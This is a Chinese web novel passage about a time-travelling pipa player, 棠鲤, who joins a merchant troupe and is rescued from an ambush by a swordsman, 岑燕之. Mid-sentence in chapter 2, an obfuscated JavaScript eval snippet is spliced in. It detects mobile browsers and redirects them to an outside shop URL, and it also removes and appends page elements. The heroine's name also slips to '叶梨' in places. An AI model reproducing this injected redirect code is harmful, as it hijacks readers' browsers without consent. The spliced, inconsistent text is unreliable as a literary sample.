《鲤燕记》 1. 献技艺 已经过去一个月了,棠鲤仍然感觉不真实。 看着头顶老旧的毡帐,摸着身下粗糙的垫子,心情久久难以平静…… 帐中央的炉火依旧燃烧旺盛……上面吊着的锅斧中正烧着水。 “棠姐姐起来了吗?我进来了哦。”帐子被掀开,一个头戴小皮帽、身着彩色裥裙的少女笑着走进来。 她熟练地将锅斧中的热水舀进木盆中,“这次我帮你乘好啦,你就不要自己弄了,不然又不小心把火灭了的话,我阿兄又要生气了。” 莫玥儿熟络的话把棠鲤的思绪拉回现实,想着前几天自己为了打水洗漱不小心浇翻了炉火……颇为惭愧,毕竟这个时代,做什么都不太方便…… “对不起……谢谢你玥儿,我自己来就好。” “好,那给你放这儿啦,朝食好了要快来!” “好!” 没错,穿越了,从现代到了这个被称为夏朝的朝代,不是夏商周的“夏”,而是不存在于历史里的任何一个朝代。棠鲤更觉得这里更可能是某个平行的时空,毕竟语言、文字、衣着甚至于娱乐活动在这里都有一些相似之处。 起身穿好外衣,棠鲤随意将头发用仅剩的黑皮筋绑在脑后,双手浸入温热的水中,驱散了晨间些许的凉意。 现在是秋日了…… “今儿晚间是哪的?” “莫老说是个官家的门客府上。” “听起来像是个有钱的主儿……” “哎,我的弦还没换……” 出了毡帐,商队中西域来的胡伎们与商人们交谈的热闹声便不断地传来,夹杂着浓重的口音,棠鲤一时之间想起来从前去西北旅游时的情景,又开始恍惚。 “棠鲤来了。” “又发呆了!哈哈哈……” 回过神来后,听见周围人们的谈笑,她低头快步走到莫玥儿身边坐下。 “棠姐姐,阿爷说今儿的夜宴你也要上场。” “嗯,好。” 棠鲤现在寄人篱下,身无分文,靠着这队胡商的收留度日,距在戈壁上醒来那日已经过去了一个月,身边就只有演出时带着的一把琵琶。 幸好有把琵琶。 这队胡商,不仅仅是到夏的几个大都经商,因着部分人身怀些技艺,他们也会到一些富贵或者官宦人家演出,此时称这些人为“百戏”或者“散乐”。 她与莫玥儿聊天时知道,莫玥儿自己极善胡旋舞,而其堂兄莫卓阳善鼓。在与莫玥儿逐渐熟络起来后,她也向其学了一些舞蹈的皮毛,奈何基础不行,只学了个表面功夫。 在接受现实后,她总会想:如果不是自己会琵琶,这会儿会怎么样? 就这么又浑浑噩噩地到了下午,棠鲤坐在商队的骆驼车上随着众人进了一座名为“肃州”的大都。 一路上,棠鲤第一次见识到了这个时空的人民生活情景。 坊间热闹非凡,各种铺子应接不暇,时不时还有些孩童穿梭其中,耳边传来的尽是吆喝声、买卖声…… “这肃州真热闹!没想到都午后了,还如早市一般!”身边的莫玥儿感叹道,看来她也是第一回儿来到这种地方。 “棠姐姐之前见过这样的?”她转头问棠鲤。 见过啊,这在高楼林立、夜市繁华的现代太常见,还令她感到意外的是,这里的女性并非她以前想的大门不出二门不迈,反而有许多出摊的小贩是年纪稍长的妇女,街上就算是年轻的女性也穿着各式各样胡汉交叠的衣裙。 听到了莫玥儿的询问,棠鲤回道:“我也是第一次见。” 仿佛是听到了自己想听的话,莫玥儿开心地拉着棠鲤打开了话匣子,恨不得把自己一路上的见闻都吐了出来。 走在队前的两个年轻男子听到了身后叽叽喳喳的声音不免地回头看了一眼。 “安哥,你不训她了?” “算了,好不容易来一次。”被称为安哥的男子笑道,他虽是莫玥儿的兄长,但并非亲兄弟,作为养子,总管着她或是说多了也不好。 “也是!因着之前回纥作乱,路上都不太平,好久没能来了!”莫卓阳感叹道,又想起莫玥儿身边的那个女子,话锋一转:“安哥,你说那个叫棠鲤的到底什么来历?看着既不像汉人也不似胡人,什么都不懂,取个水也能把火灭了,倒像个官家子弟……你说叔父还偏偏看她会弹琵琶收留下来。” “你当阿爷不懂吗?”莫安牵着骆驼的缰绳,无奈地看着莫卓阳。 “懂啥?叔父净整天琢磨着去哪互市,怎么赚银钱……”莫安撇撇嘴,要他说,这棠鲤里外看着都奇怪,那会儿捡到她的时候虽然看着衣服料子是上乘,但制式颇为奇怪…… “阿爷说了,她看着长相白净、口齿洁净、掌中又无任何茧子,身形纤瘦,必是出身富裕,举止行为又落落大方,看着保不准是官家子弟,若能结一善缘也是好的,若不是,在这世道下,救人一命也不亏!” “得,就你最听叔父的话了。”莫卓阳摆摆手,揉了揉脑袋,莫安看着他,心知他已经被自己说服了,便不再多说。 “西市有个驿所,到了就赶快拾掇拾掇,晚间的宴席不能迟了。”莫安拍拍莫卓阳的肩膀,以示宽心。 “知道啦。” 到了驿所,队中所有人都开始忙忙碌碌,棠鲤不好意思就那样坐着,只得跟着莫玥儿搬一些轻的行李,大多是他们演出时用到的东西,她第一次直观地看到这个时空中,各色各样的乐器,远比后世在博物馆中隔着玻璃看要有趣得多。 收拾完后,棠鲤又随着人们在小院中的角落排练。 说起来,光是学会看这个时代的谱子就让她拿出了高三考试的干劲儿……现在好歹是能勉强做到无障碍阅读了,毕竟文字上的写法还是有很大的出入。 排练结束后,众人又聚在一起吃了晚饭。 后又被莫玥儿带着换了身衣裳,胡人的衣物点缀华丽,棠鲤腰又细,个子在女性中也较为高挑,在莫玥儿的帮助下成功穿戴好了头饰,却倒是让莫玥儿看了好一会儿,看得棠鲤都有些不好意思。 “姐姐当真绝色!” “谢谢玥儿的衣服,你也很漂亮。”棠鲤有些害羞,虽然自己之前经常跟着剧团到全国各地演出,但始终不习惯其他人这么直接的赞美,总觉得很害羞,眼前的女孩儿在得到了自己的对她的夸奖后也很开心,她看着莫玥儿这个比自己小好几岁的女孩儿在眼前忙来忙去,心下感叹,十六岁的年纪,比自己整整小了七岁,虽然时常在面对亲人的时候也有些孩子气,却也能在很多事情上独当一面,棠鲤打心里佩服她。 跟着百戏众人来到今天夜宴的主人家,是肃州城里有名的周姓富户,据说是家主周老爷早些年走南闯北经商积累了大量的财富,晚年了回到肃州老家安居,如今子孙中年轻的一辈儿也继承了衣钵,累积至今的家产据说几代人都吃不完。 今天是周老爷六十寿辰,其子周大公子特意请了许多名角散乐来家宅中献艺,其中就有棠鲤所在的百戏团。 周老爷的宅邸很大,棠鲤对古代建筑没什么研究,不过跟着府中引路的家仆一路走来,廊腰缦回、曲曲折折,影壁屏风、假山造景等等,应接不暇,府中来来往往的人脸上皆是喜庆,天色暗下来后,仆从们点燃了院中的烛火,一派熠熠生辉的景象就这样铺叠开来,众人也被这氛围感染,寿宴开始后棠鲤等人在偏厅等候。 许久过后,才有仆妇打着帘子请他们入内献艺。 棠鲤对帘子内的光景很是好奇,莫玥儿也是一样,谁承想,前面走着好好的莫安突然回头,像是有心灵感应一样对着莫玥儿小声训道:“一会儿进去了别到处看,只做自己的,冒犯了主家可不好。”说完回头前还看了一眼一旁的棠鲤,接收到了男子递来的视线,棠鲤低下了头。 她人不生地不熟,还是小心些好…… 很快,各自完成了演出,棠鲤几人也是在听闻周老爷对表演的赞赏后才抬头看了看,最后由莫老大亲自上前接下了赏赐后,众人又拿着自己的“家乎事儿”跟着离开。 离开周宅的路上,棠鲤的心情也与莫玥儿一样轻松许多,由着莫老大先打点了周宅中帮忙的仆从后,他又将赏赐按份儿分给了众人,棠鲤也得到了一些银钱和一根精致的朱钗。 周宅的一名 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男人们许是常年行走江湖,说话没什么边。 棠鲤还没有反应过来,以为是对旁边的谁说的,没发现这话竟是冲着自己来的,倒是立马被在一旁聊得尽兴的莫玥儿几人连忙拉走,嘴上还不忘朝那边回着什么不示弱的话语。 叶梨没有听清,恍惚间只是匆匆回头看了一眼,便被扯进了外院…… 远处还传来男人们嘻嘻哈哈的笑声。 原来刚刚是在调笑她…… 仔细观察之下就会发现,这几个男人不仅身材威猛,且腰间都佩有各式各样的武器,为首的男人搭着一旁男人的肩膀,还在对其他人说笑着方才女子们的反应。 众人都有些愉悦,纷纷回应,仅队尾一男人沉默着抚着腰间的长刀,似也有些自己的思绪,直到为首的男人喊了一声:“岑兄觉得是否为着素色衣裙的女子最为出挑绝色?” 处在最后的男人在几人中身高最为修长,烛火微映下,眉骨与鼻梁极高,在眼窝投下深深的阴影,一双眼睛透着难以捉摸的深邃,自始至终左手扶着腰间的长刀刀柄,那人又问了一遍,听闻有人在叫自己,岑燕之遂抬头回应着:“院中烛火明暗交错,没有看清。” 其实他一开始就瞥到了,在陌生的环境中,岑燕之习惯性地默默观察周遭的一切,自然最先发现了坐在一边假山石上的棠鲤,也确实漂亮…… 几人没有听到想听的话,觉着有些无趣,便互相打着圆场催促管事快快带路,只说腹中饥饿。 前厅一处厅堂中,男人们酒过三巡,纷纷有些迷醉,箕踞而坐,酒杯不离手,很快就打开了话匣子。 “李镖头这打哪儿找的人?伸手不知如何啊?” “听说这人武艺高强。此次走的镖,路途不甚太平,多个人也多份力气。”被称为镖头的男人姓李,河东人士,是这个镖队的队长,他们这次受周家大公子委托,护送周二公子以及一批货物前往金城,最近世道不慎太平,镖局的营生倒是越来越好。 “甭管哪里来的!主家给的只多不少,你小子分到的不会亏!”李镖头是老江湖了,自己手下的几个兄弟伙心里在想什么他一清二楚,不过也不怨他们会怀疑,这岑燕之是被他临时找来走镖的,要不是有个兄弟上次落马负伤腿还没好全,他也不会找到此人。 对于这个岑燕之的武艺,他心里其实有点数,几日前在闹市口,有一大户人家的马匹突然受了惊,在巷子口横冲直撞,眼看就要冲进闹市,只见一魁梧男子大步上前,利落扯过缰绳,翻身上了马背,仅一招就将其制服。 他实在是惊叹于此人勇武,待事后此人将马匹交还给主人家时,他便上前结交了一番,行走江湖,最不缺的是朋友,最需要的也是朋友。 “跟着大哥我们当然不怕吃不到肉!只是!这人的武艺高低!兄弟几个还是不放心!”镖队中的一名虬髯大汉粗声开口,说着还震了震手中的一双长斧,周遭的人听后也颇为赞同,“大哥!小弟我且去与他切磋几个回合!” 不等李镖头开口劝说,这人就提着双斧大步流星而去…… 2. 突生变 府中夜饮仍在继续,叶梨与莫玥儿及几个姑娘都有些疲乏,纷纷在偏房内休息。 亥时将至,府中的仆妇们也都开始忙碌着收拾残局,这时只听外院前厅传来人群一阵阵的喝彩声,两人听闻疑惑地对视了一眼。 “玥儿,外面还有百戏吗?” “这倒没听阿爷说过……许是……” 突然,门房被猛地打开,是刚刚出门去盛水的姐妹,她去而复返,一脸惊喜的喊道:“快去前边!可精彩啦!有两个力士在较量!” 应该是哪两个不同的百戏团中的角逐吧,棠鲤这样想着,出于好奇,也跟在莫玥儿以及几个姑娘身后。 快到前院时,还没见着比试人影儿,就看见四周围满了人,假山上以及院墙上也挤满了府中的仆从,颇有些壮观。 待到棠鲤几人挤进去时,看到的便是那虬髯大汉的拳风向对面男人抡去的惊险场面,围观人群顿时一阵抽气声—— 岑燕之丝毫不慌,似是已经看透了对方的路数,仰身一闪,瞬间跃出几步之外,稳稳站定。 人群静默了一瞬,继而又爆发出响亮的喝彩声。 又一貌似老江湖的男子从一旁快速走近,正是镖头李牧,他先是向四周围观的人群抱拳颔首行礼,笑着解释了这场比试的缘由,众人才慢慢散去。 两人理了理衣襟,相互抱拳行了一礼,虬髯大汉依旧粗声粗气,但语气里还是多了几分敬佩,“岑兄好身手!我雷彪如今,心服口服!” 岑燕之依旧谦虚颔首,“雷兄谦虚,我观你下盘稳当,但不善拳脚,想必随身武器彪悍非常,若是在沙场,我必是不敌。” 那雷彪听此恭维,很是受用,豪爽大笑着立马亮出自己的劈山双斧,挥得虎虎生威。两人又在李镖头的撮合下攀谈起来,三人搭着肩,准备再去吃些酒。 “李镖头!李镖头留步!”竟是莫老大叫住了他,莫玥儿也颇有些疑惑,看着自己的阿爷与卓阳哥就这样上前与那几人攀谈了起来。 棠鲤也有些疑惑,原来是认识的?借着廊下的烛火,她这才看清几人的面容,那个胜了的男人长相……倒是很符合现代人的审美,猿臂蜂腰,鼻梁高挺、眼窝深邃,看着大概二十多岁。 “那是长风镖局的李镖头,义父通过周家主人行了个方便,明日我们也同他们一起出发,路上会安全些。”莫安的声音从身旁传来,好似是看透了棠鲤两人的疑惑,开口解释道,棠鲤被吓了一跳,以为自己盯着别人看被发现了,便扭头去看路边的盆栽。 莫玥儿听了莫安的话,恍然大悟,“安哥不一起去商议吗?” 莫安暗下眼睫,扭头朝相反的方向,边走边说:“东西要尽快收拾好,你们也快些收拾好后来帮忙送去驿所!明日可不能迟了!” 莫玥儿听闻有些丧气,连声道不想再跑来跑去,棠鲤一直没开口,但她把莫安的一举一动都看明白了,养子也有难言之处,便拉着莫玥儿打断她的话跟上前去。 这个时代有些胭脂水粉和简单的护肤品,秋日气候干燥,尤其是肃州这些边塞之地,风沙也极大,棠鲤不得不花了些银钱买了个帽兜戴着,莫玥儿也觉着日晒,挤在货物角落,两人有一搭没一搭地聊着。 一阵阵的马蹄声传来,莫玥儿先行坐起扶好,临到跟前,棠鲤才发现昨夜镖局的那些镖师护着周家的人到了。 其实棠鲤不太清楚这里的日常出行方式,刚来的时候跟着胡商们坐骆驼车,路上也看着些人赶着牛车坐,便问了莫玥儿怎么没见着马车,莫玥儿则一脸惊讶地看着她,问:“姐姐莫不是真的贵族?坐过马车?” 后来她才知道,马车现在还不是主要的出行工具,平民百姓多乘牛车,只有贵族或富商才养的起马,坐的起马车。 此后棠鲤又怕惹出些不必要的麻烦,所以很少开口询问,多是观察,久而久之,周围的胡人倒没觉得什么,确实在他们眼里,汉家女子大多文静。 此后两日的旅途中,整个队伍走走停停,有时遇上个小城、或者村子,还能好好休整一番。 今日没这么好运,前面的驿所还远,众人聚在郊野处露宿。 越是在路上,棠鲤就越是感觉到已经身在此方世界的真实,每每在夜里,她很难睡着,人们日出而作日入而息,一入夜后万籁俱寂,在毡帐里她睡不着,出了毡帐,寒气扑面而来。回望远处的山脊如同一条黑龙,静静地卧在在千里戈壁之上,而前方山脉更加交叠之处就是他们接下来要去要去的方向。 棠鲤往前面走了走。 转过一排帐子后,才发现这一处还燃着篝火,眯着眼睛观察了一下,才发现是这次镖队中的三人,棠鲤决觉得走到别人的地盘不好,便扭头往回去,这时那三人似是也发现有人靠近,但又因夜黑,看不清来人,李镖头本想亲自查看,岑燕之抬手拦了一下,提着刀上前,厉声道:“谁人!” 棠鲤本身都转身走了,却也被吓了一跳,无奈转过身来,心里还是有些许害怕,这人的语气怎么如此凶…… “妾身是莫老家的散乐,打扰诸位实在抱歉,这就离去。”正说着话,那方才开口的男人就走到了身前,因着身形高大,遮住了身后的火光,男人可能又因着看不清棠鲤的面容,就往身侧让了一步。 李镖头拿着酒壶,借着火光也看清了来人,虽然这女子披着长袄兜帽,但面容清丽,格外惹人眼目,立马就记起了,还没等自己开口,身边的手下镖师抢先一步:“姑娘来陪我等喝一杯?”语气有些冒犯,但在棠鲤看来就像是路边烧烤摊喝上头的青年,并不想多说话,只想快些回去。 岑燕之听了哪里不知道这人的心思,看着这胡姬似是涉世浅薄,皱了皱眉,“夜里莫要乱跑。” “抱歉……我这就回。”棠鲤看了一眼岑燕之的脸,他侧身站着,是以表情不明,她转身离去,走了几步才发现这处黑漆漆的,刚刚亮着的火把不知何时熄了,风吹着低矮的灌木,发出沙沙的声音,恰逢这时远处传来一声声狼嚎…… 棠鲤心中打鼓,在原地转了一圈,最后还是鼓起勇气小跑回那男人身边,还好那人还未回去坐着。 “这……这位……大哥,不对,少侠,能否陪我有一段,太黑了……”好丢人,好丢人,都怪这里连灯都没有,好可怕!面前的男人久久没有回应,在以为要被冷冷无视的时候,男人开口了“走吧,我在你身后。”说罢好似还微微叹了一口气,只不过棠鲤过于紧张,没有注意到。 待两人离开后,余下的两人相互对视一眼,酒似乎都醒了。 最后在棠鲤的仅剩不多的记忆里,就记得她还未来得及向男人道谢,男人转身就离开了,走得很快…… 待到岑燕之将棠鲤送到她所在的毡帐后就折返回来,李镖头拿着酒壶,看着他的目光有些意味深长,嘴角可疑的弧度没有逃过岑燕之的眼睛,只不过他当做没有瞧见,倒是另一个人可不好这么糊弄。 开始他以为这姓岑的自视清高,看不上他们这些泥腿子,眼下看来,还不是逃不过“美人关”,人家稍微勾勾手还不是去了,遂一屁股坐在岑燕之身旁的石头上打趣起来。 当然,这些棠鲤全然不知。 “夜寒露重,入夜了少出帐子。”第二日,不知是莫安瞧见了还是怎么的,见着了棠鲤的第一句话便是这个,棠鲤觉得自己做错了事儿,一整天坐在车辕上都有些提不起劲儿。 想回家的心情更浓烈了,真的还能回去吗? 莫玥儿不明所以,最后在锲而不舍的追问之下,棠鲤才告诉了她事情经过……以及自己近日失眠的原因。 于是在入夜后,莫玥儿拉着棠鲤,兴冲冲地说要教她胡旋舞和柘枝舞,棠鲤学了琵琶和古筝,但舞蹈可是另外一行,隔行如隔山,更何况她没有基础,怎么学得好?是以连连拒绝。 奈何她还是低估了莫玥儿直率的性子和执着的精神,硬是被软磨硬泡,决定跟着她学。 “阿爷曾经跟我说过,若是睡不着,就练练舞!人闲着就会乱想,乱想的话,人就会越来越没精神!”莫玥儿一边笑着说一边纠正着棠鲤的姿势,光是这一会儿下来,她就感觉腰酸背痛,不过身体上消耗了许多精力,倒是让她没有再总是去想家…… 莫玥儿的心思比她想象中要细腻的多,如果说刚认识时,她可能会把她当做妹妹看,但现在看来,她总是陪着自己这个陌生人,处处帮助,希望她能在这个属于她的时代幸福生活下去。 整支队伍就这样平安顺利地走了四天,这时候传来了好消息,第五日午后就能到达此行的目的地金城了!女孩儿们听后都很是开心,棠鲤也不例外,这么多天没有好好梳洗沐浴,她实在是离不了热水,希望下个城里能让他们好好休息休息…… 看着镖队的镖师们骑着骏马,在队伍前后来回奔波,叶梨渐渐出了神……对了,再然后……考虑考虑去向的事儿吧……首先要有个能谋生的方式。 但变故来的如此突然。 一名队伍中间的镖师还没来得及开口警戒众人,便被破空而来的羽箭洞穿了脖颈,那人就这样从马背上跌落下来,血沫从口中喷出,不过一会儿便没有了气息。 人们顿时慌乱起来,拉着货物的骆驼和牛马也因人们的动作开始止不住的嘶鸣—— 棠鲤几个姑娘离这个镖师很近,她甚至感觉自己听见了利箭刺穿皮肤、擦过骨头的声音……全身的血液霎时间凝固住了,双脚止不住的发抖。 就这样死了?谁?不行!报警?不对不对!躲起来! 强烈的恐惧驱使着求生欲,她也开始跟其他人一样寻找能够躲避的地方。 与此同时,李镖头等人也第一时间察觉到了异样,周遭太安静了,没有鸟鸣野兽的声音,接着同伴被偷袭霎时让他暗道不好,随即又凭借老辣的经验,迅速召集镖师们护送周家人速速离去。 “岑兄!对方不知有多少人!眼下三十六计走为上计!” 岑燕之此时也早已抽刀警惕多时,听闻李镖头近乎吼出来的话,他一刀劈开射向两人的羽箭,冷静开口:“来不及了!对方有备而来。” 李镖头刚想反驳,就听见周遭林子里传来草木被践踏的声响,瞬间被一个个凶神恶煞的不速之客包围。 “定是山匪!” “弟兄们——”李镖头振声高呼,其余镖师听后纷纷大吼着呼应,随即大部分人冲向山匪,瞬间!两方缠斗在一起! 其他镖师没有加入战斗,反而迅速护着周家人,疯狂地甩着马鞭,试图冲出包围—— “不可!李镖头!快叫他们停住!”岑燕之在砍翻了几人后才发现,这些人根本不是什么“山匪”!出手路数他再熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224382|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉不过,一眼就看出是军中训练过的,招招式式直攻要害! 寻找李镖头时他一个不慎险些中招,幸好雷彪挥着双斧速回接应,才避开了致命一击。 “岑兄弟可要小心些!某来助你!”一双斧子被他挥得振振破风,瞬间就劈开了身前的一排人,硬是破开了一条路。 莫老大行商多年,纵是遇到过山匪,但如此下死手的,还是第一次。但他很快冷静下来,抽出防身的腰刀带着莫卓阳回身寻找自己的女儿。 此时莫玥儿却被一山匪捉住,欲行不轨,她已然吓得哇哇乱叫,涕泪横流,就在她浑然不抱希望之际,身上的男人骤然一僵,歪倒在一旁—— 再定睛一看,竟是棠鲤挥着一把不知从哪里找来的马凳,竟将那山匪敲得晕死过去…… 莫玥儿吓得连滚带爬地向棠鲤而去,棠鲤也连忙将晕死的男人用力推开。 “棠姐姐!啊——吓死我了——啊呜呜……”莫玥儿死死地抓住棠鲤的两只胳膊,嚎啕大哭。棠鲤倒是反应及时,这时候可不是哭的时候,她拨下莫玥儿的双手,紧紧拉住:“不能坐以待毙!快跑!” “我——我阿爷呢?阿爷——” 莫玥儿已经完全失去了思考能力,全靠着棠鲤拉着她躲避山匪,两人慌慌忙忙中竟也找到了莫老大三人,莫安和莫卓阳两人靠着防身用的小刀和匕首才护着莫老大勉强没有受重伤,但都很是狼狈,尤其是莫老大,背后挨了一刀,眼下人已不太清醒。 “山匪大多与镖师们打了起来!我们要快些离开!”莫安背着莫老大,急忙道。 几人连连点头表示认同,莫卓阳观察了一下,打算从旁进入山林暂避一避。 但很快这个退路就被完全封死——更多的山匪从四周出现。 大多数镖师都在队伍的前面,他们为了护着周家人所以多有制肘,只能化攻为守,体力多有消耗。 “周公子请不要出马车!”李镖头令镖师们护住马车,姑且没让这群“山匪”近身。 岑燕之大概知道这些叛军是从哪里来的,眼下情形于他们不利,必须要求援!“李镖头!不可在拖下去了!某有一计。” “不会有更坏的局面了!岑兄但说无妨!” 岑燕之从衣襟里扯出一块玉牌,交于李镖头手中,“李镖头你现在带几个弟兄们突围出去,直去金城求援!” “这——金城守军哪里得见我这一江湖草莽?就算得见……” “李镖头若信得过我,便拿着这块玉去金城太守府!援军必会赶到!”岑燕之的声音坚定有力。 李镖头攥着手中的玉牌,充满血丝的眼睛盯着岑燕之,仅片刻就重重地点头:“好!” “大哥!小弟助你突围!”雷彪的声音从一旁传来,千钧一发之际,李镖头飞身上马,同另两名弟兄在同伴的掩护下成功脱离。 岑燕之最后同雷彪等人带着周家人且战且退。 棠鲤本来跟着莫玥儿几人一起躲在驼车旁,但突然人群一冲,山匪又再次向这边杀来,竟是落了单,慌乱之下只得背着琵琶猫在草丛旁,“小美人哪里去呀?” 被发现了! 抬头便看见两个“山匪”围住了自己,她连忙爬起来,慌乱之下抓起地上的石块扔出去,恰巧砸中了其中一人的头,那人被激怒,“妈的,给我抓住她!老子叫她好看!” 棠鲤趁乱跑出来,周围一片混乱,除了尸体便是慌张的人们,“山匪”还在抢人抢货。 对了!镖师!他们好歹能护住自己吧? 大概是求生的本能激发了肾上腺素分泌,棠鲤拼了命似的边躲边跑,她记得镖师们大多在周家的车马旁…… “周大公子!如今之际唯有保命要紧,货物……”几名镖师本身就是勉强护着货物,如今自身都难保,靠着周家的马车急声说道。 “对对对!快快送我离开!货物不要了!不要了!”岑燕之飞身上货车顶,一刀斩断捆绑的绳索,掀翻了众多货箱,霎时间银锭、珠宝、首饰、布匹散落一地。 “山匪”也不傻,本身就是为了劫财而来,霎时间乱作一团,纷纷去抢落在地上的财物,岑燕之下令众人全部上马,自己也飞身上马收紧缰绳,向前方突围出去。 余光之中,岑燕之看到了个身影狼狈靠近,他记得,是昨晚迷路的胡姬…… 棠鲤逃命之间,却被一人死死抓住脚踝,正要挣脱,却看到是一满脸是血的妇人,此时明明奄奄一息,却嘶哑着喊道:“救救我的孩子!求求你……” 自身都难保了!怎么救啊?但她还是于心不忍,抓过那妇人怀中的襁褓,再次拼命向前跑去,她已经看到了周家人马车的所在……再坚持一下! 突然,小腿传来一阵剧痛,棠鲤失去了平衡,连带着襁褓一起扑倒在地——她回头看向自己的腿,一根羽箭擦破了裤管,鲜血正往外直冒…… 棠鲤哪里受过这种罪,本就憋不住的眼泪瞬间冲出眼眶…… 身后射出箭的“山匪”距离自己不过三步之遥,脸上还露出令人作呕的笑意…… 谁来?谁来救救她?棠鲤抱着襁褓,想要站起身,托着一条腿艰难地向前挪动。 突然!腰间一紧!身子变得轻快,在回过神时已经被带上了马背,抬头看向御马的人,正是昨夜送自己回帐子的男人。 3. 望归家 岑燕之拉着缰绳,看向被自己救下的胡姬,正好这女子也正在看着她,一副完全呆愣住的样子,眼泪还在脸庞上未干。 被救了? 棠鲤想开口谢谢他,但发现自己嘴唇依旧在哆嗦,四肢都发软,若不是男人一手护着,自己很可能会掉下马,就这样她的目光始终在男人的下巴和胸口处徘徊。 她无法形容现在的感受和心情,从到了这个陌生的世界开始,她经历过绝望和无助,但总能在最危急的时刻接收到来自他人的善意,莫玥儿他们也好、眼前的这个还不知道姓名的男人也好…… 此时此刻,危及生命,她才切身的感受到,自己已经不是“旁观者”,而是这个世界的一员…… 眼泪完全止不住。 泪水在眼底蓄积不下,清凌凌地晃着,终于是承受不住那满溢的惊惶。 岑燕之就这样毫无防备地撞进了白日的这一双眸子里。 岑燕之此人,行事有尺,举止有度,到如今二十九年的人生大部分时候都是孑然一身,更别说接触女子。 他装作淡然地挪开视线,不再去看这胡姬的面容。心想:救人一命终归是好的。 就在棠鲤愣神之际,局面开始反转,远处的官道上扬起沙尘,轰隆隆的马蹄声由远及近,速度极快。棠鲤甚至还听见了号角和战鼓的声音。 “是援军吗?”棠鲤哆哆嗦嗦地开口,眼中仍然有藏不住的惊慌,岑燕之看在眼里,翻身下马后没有让她也下来。 “莫怕,是府兵。”他眼力极好,何况方才在马上他就已经看到了写有“金城”字样的战旗,李镖头终归是不负众望。 变故来得快,退去得也快,金城府兵训练有素,很快就控制住了局面,除却逃亡的“山匪”,大部分都缴械投降,幸存的众人得以喘了口气,总算是劫后余生…… 棠鲤落地后连忙看向救了自己的男人。 “可问少侠姓名?”棠鲤扶了扶背后的琴,确认暂时完好,一双眸子还略带水光,就这样盯着面前人。 “岑燕之。” “感谢岑少侠出手相救,不然……”棠鲤抱着襁褓,心里万分感谢。 岑燕之没有回话,倒是看着棠鲤怀中的孩子,片刻,皱了皱眉头,似是在考虑如何开口。 棠鲤察觉到岑燕之的视线,连忙道:“并非我的孩子,是一位妇人方才……” “这孩儿恐怕凶多吉少。” “欸?”棠鲤愣住了,拨开包被,才发现孩子的胸腹处早就被血染红了…… 是啊,刚才那么颠簸那么吵,为什么没听到一丝一毫的哭声…… 她默默地再次将孩子抱好,鞠躬谢过岑燕之。 后来棠鲤凭着记忆寻到了孩子的母亲,她将孩子放到那妇人的怀中,就这样默默地看了许久。 三日后,金城太守府府衙门前—— “此次多亏了岑兄,他日若有用得上李某人之时,但凭驱使!”李镖头带着镖队一众幸存的弟兄们来与岑燕之告别。 岑燕之依旧一身朴素干练的衣着,头戴着斗笠,闻言也抱拳一揖:“李兄严重了,岑某未能尽到全力,此次不仅走镖未成,还平白让雷彪兄弟丢了性命。”看着不远处街角镖师们守着的几副灵柩,岑燕之难免回想起当时的情形。 在听到死去的弟兄的名字后,饶是走惯江湖的草莽英雄也纷纷热了眼眶。 李镖头抬了抬眼,“自从彪子同某一起离开家乡,再到走镖为生,我们就想着早晚会有这么一遭……活着的生计!特别是这种刀尖上舔血的买卖……” 他不禁哽咽,“他是为了救兄弟去的!这命!值当——” 岑燕之摩挲着佩刀的刀柄,眺望远处。 “此次走镖虽成,但报酬折半,分给岑兄的远不如当初约定的那番……岑兄不弱同某一起回辽城,天下之大,必有我等的一席之地!”告别之际,李镖头再次开口相邀,岑燕之依旧拒绝,他虽已远离朝堂,行走江湖,但心中仍有一份放不下的执念…… 李镖头胆大心细,看得出来岑燕之也有几分难言之隐……说着取下腰间的酒壶作为饯别礼送了去,此后天涯路远,难得再见。 直到送别几人出了金城,岑燕之才折返回金城府衙,府衙主簿早已等候多时,恭敬地引着他去了府衙书房…… 棠鲤自三天前的变故后就一直在莫安的带领下照料着商队中受伤的病患,也多亏了金城太守大人的吩咐,队伍中幸存下来的人们得以在驿所延医请药。 但莫老大没能撑到医士到来…… 棠鲤端着粥食,轻轻抚了抚躺着的莫玥儿,“玥儿,吃一点吧。” 被中的人慢慢钻出,莫玥儿红着眼眶接过碗,舀起一勺,半晌都没能送入口中,倒是泪水慢慢滴入勺中……似是再也拿不住手中的碗,莫玥儿颤抖着哭了出来,棠鲤没有说话,接过碗筷,抱着莫玥儿,轻轻拍着她的后背…… 又过了一日,莫玥儿好了许多,棠鲤在院中晾晒着衣物。 “棠姐姐,卓阳哥呢?他如何了?” 棠鲤听闻,顿了顿,最后还是如实告诉了莫玥儿。 话说那日,棠鲤与莫玥儿几人不幸分开后,幸好得有岑燕之相救,自己没有什么大碍,腿上被箭划破的伤口现在也已经结痂,恢复得很好。 等到她当时找到莫玥儿几人时,如鲠在喉。 据商队中其他人所说,莫玥儿当时被几名“山匪”拉扯,莫安因为护着昏过去的义父,莫卓阳见状当即就拿着匕首上前,但不慎被刺穿大腿,最后还为了护着莫玥儿被砍掉了右手…… 纵然莫玥儿哭着恳求,但医士看了后也叹气地摇了摇头,如今能保住一命已是大幸。 看着莫玥儿抱着还有些虚弱的莫卓阳泣不成声,她心里也颇不好受…… 听带领他们来到驿所安顿的金城守军说,袭击她们的并非什么“山匪”,而是被驻守安北的魏王打散流窜至此的叛军…… 她隐约感觉,这个叫夏的国家不甚太平。 衣袖被扯了扯,棠鲤的思绪被迫打断,她回头看去,是莫安。 两人到了院中。 莫安看了看棠鲤,最后还是开口道:“我们打算回西域了。” 果然,其实这么多天,她已经想到会是这样。 商队的主心骨没了,他自己失去了父亲,兄弟失去了一只手,还有许多男丁惨死,女眷失孤…… 棠鲤低下了头,难得出了太阳的好天气,却仍旧感觉浑身发冷。 “你有什么打算?玥儿现在很依赖你。”莫安看着眼前的汉人女子,虽然孑然一身,但样貌不差,运气很好,养父曾说过,观此女面相,将来必定大富大贵。 当时自己与莫安的想法一致,甚至于都没有当回事。 